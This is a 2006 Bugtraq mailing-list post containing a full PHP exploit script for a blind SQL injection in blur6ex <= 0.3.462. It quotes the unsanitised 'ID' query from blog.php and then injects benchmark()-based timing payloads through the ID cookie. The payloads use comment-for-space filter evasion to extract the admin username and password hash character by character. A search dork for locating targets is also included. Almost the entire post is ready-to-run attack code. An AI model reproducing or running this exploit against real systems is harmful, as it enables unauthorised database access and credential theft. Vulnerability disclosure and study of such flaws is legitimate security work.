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Message-ID: <20060612161831.1907.qmail@securityfocus.com>
Date: 12 Jun 2006 16:18:31 -0000
From: rgod@...istici.org
To: bugtraq@...urityfocus.com
Subject: blur6ex <= 0.3.462 'ID' blind sql injection
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "blur6ex <= 0.3.462 'ID' blind SQL injection / admin credentials disclosure\r\n";
echo "by rgod rgod@...istici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n";
echo "dork: \"powered by blur6ex\"\r\n\r\n";
/*
works regardless of php.ini settings
*/
if ($argc<3) {
echo "Usage: php ".$argv[0]." host path OPTIONS\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to blur6ex\r\n";
echo "Options:\r\n";
echo " -T[prefix] specify a table prefix different from default (no prefix)\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /blur6ex/ \r\n";
echo "php ".$argv[0]." localhost /blur6ex/ -Tblur6ex_\r\n";
die;
}
/*
software site: http://www.blursoft.com/blur6ex/
vulnerable code in engine/shards/blog.php near lines 497-500:
...
case "proc_reply":
// In order to set the permissions of the reply it's necessary to know what the parent is
$permissionid = mysql_query("SELECT permission FROM blog WHERE ID=" . $_REQUEST['ID']);
...
'ID' argument in not sanitized before to be used in a sql query,
injection is blind...
this code shows how to use time delays through Mysql benchmark() function,
u can use this technique to ask questions of the target system
and retrieve data from tables
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
function my_encode($my_string)
{
$encoded="CHAR(";
for ($k=0; $k<=strlen($my_string)-1; $k++)
{
$encoded.=ord($my_string[$k]);
if ($k==strlen($my_string)-1) {$encoded.=")";}
else {$encoded.=",";}
}
return $encoded;
}
$host=$argv[1];
$path=$argv[2];
$port=80;
$prefix="";
$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
$prefix=str_replace("-T","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$admin="";
$j=1;
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$starttime=time();
echo "starttime -> ".$starttime."\r\n";
$sql="99999 UNION SELECT IF((ASCII(SUBSTRING(username,".$j.",1))=".$i.") & 1, benchmark(50000000,CHAR(0)),0) FROM ".$prefix."permissiongroups WHERE PGroup=CHAR(97,100,109,105,110)";
$sql=str_replace(" ","/**/",$sql);
$sql=urlencode($sql);
$packet ="GET ".$path."index.php?shard=blog&action=proc_reply HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ID=".$sql.";\r\n"; //through cookies, log this
$packet.="Connection: Close\r\n\r\n";
echo quick_dump($packet)."\r\n";
sendpacketii($packet);
$endtime=time();
echo "endtime -> ".$endtime."\r\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\r\n";
if ($difftime > 5) {$admin.=chr($i);echo "admin -> ".$admin."[???]\r\n";sleep(2);break;}
if (($i==255) | (eregi("doesn't exist",$html))) {
//debug
echo $html."\r\n";
die("Exploit failed...maybe wrong table prefix");
}
}
$j++;
}
$admin=str_replace(chr(0),"",$admin);
echo "admin -> ".$admin."\r\n";
$password="";
$j=1;
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$starttime=time();
echo "starttime -> ".$starttime."\r\n";
$sql="99999 UNION SELECT IF((ASCII(SUBSTRING(password,".$j.",1))=".$i.") & 1, benchmark(50000000,CHAR(0)),0) FROM ".$prefix."users WHERE username=".my_encode($admin);
$sql=str_replace(" ","/**/",$sql);
$sql=urlencode($sql);
$packet ="GET ".$path."index.php?shard=blog&action=proc_reply HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ID=".$sql.";\r\n";
$packet.="Connection: Close\r\n\r\n";
echo quick_dump($packet)."\r\n";
sendpacketii($packet);
$endtime=time();
echo "endtime -> ".$endtime."\r\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\r\n";
if ($difftime > 5) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;}
if ($i==255) {die("Exploit failed...we have an admin user in 'permissiongroups' table, but for some reason there is not a '".$admin."' user in 'users' one...");}
}
$j++;
}
//if you are here...
echo "Exploit succeeded...\r\n";
echo "--------------------------------------------------------------------\r\n";
echo "admin -> ".$admin."\r\n";
echo "password (sha1)-> ".$password."\r\n";
echo "--------------------------------------------------------------------\r\n";
?>
original url: http://retrogod.altervista.org/blur6ex_03462_sql.html
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